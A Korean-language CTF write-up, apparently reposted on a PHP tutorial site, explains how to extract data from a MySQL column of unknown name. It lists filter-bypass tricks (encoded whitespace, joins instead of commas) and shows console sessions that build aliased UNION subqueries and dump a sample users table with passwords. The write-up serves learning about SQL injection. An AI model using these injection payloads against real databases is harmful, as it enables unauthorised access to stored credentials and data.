>  기사  >  데이터 베이스  >  MySQL이 알 수 없는 필드 이름을 우회하는 방법에 대한 자세한 설명

MySQL이 알 수 없는 필드 이름을 우회하는 방법에 대한 자세한 설명

小云云
小云云원래의
2018-01-17 10:09:501106검색

이 글은 MySQL이 알 수 없는 필드 이름을 교묘하게 우회하는 방법에 대한 관련 정보를 주로 소개합니다. 이 글은 MySQL을 학습하는 데 필요한 참고 자료와 학습 가치를 제공합니다. 우리와 함께 살펴보세요. 모두에게 도움이 되기를 바랍니다.

머리말

이 글에서는 알 수 없는 필드 이름을 우회하는 기술인 DDCTF의 다섯 번째 질문을 소개합니다. 여기서는 이 기계를 사용하여 그 아이디어를 공유하고 싶습니다. 자세한 소개에서:

구현 아이디어

공백은 %0a, %0b, %0c, %0d, %a0을 사용하여 무시할 수 있으며, 쉼표는 조인을 사용하여 직접 무시할 수 있습니다.

플래그를 저장하는 필드 이름을 알 수 없으며 information_schema.columns도 테이블 이름의 16진수를 필터링합니다. 즉, 필드 이름을 얻을 수 없는 경우 공동 쿼리를 사용할 수 있으며 프로세스는 다음과 같습니다.

플래그를 가져와 알려진 필드 이름 아래에 표시하도록 하는 아이디어입니다.

샘플 코드:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

관련 권장 사항:

MySQL에서 느린 쿼리 로그를 활성화하는 방법에 대한 자세한 설명

Mysql의 기본 문장 최적화 10가지 원칙

Linux 서버의 MySQL 원격 연결 방법에 대한 자세한 설명

위 내용은 MySQL이 알 수 없는 필드 이름을 우회하는 방법에 대한 자세한 설명의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.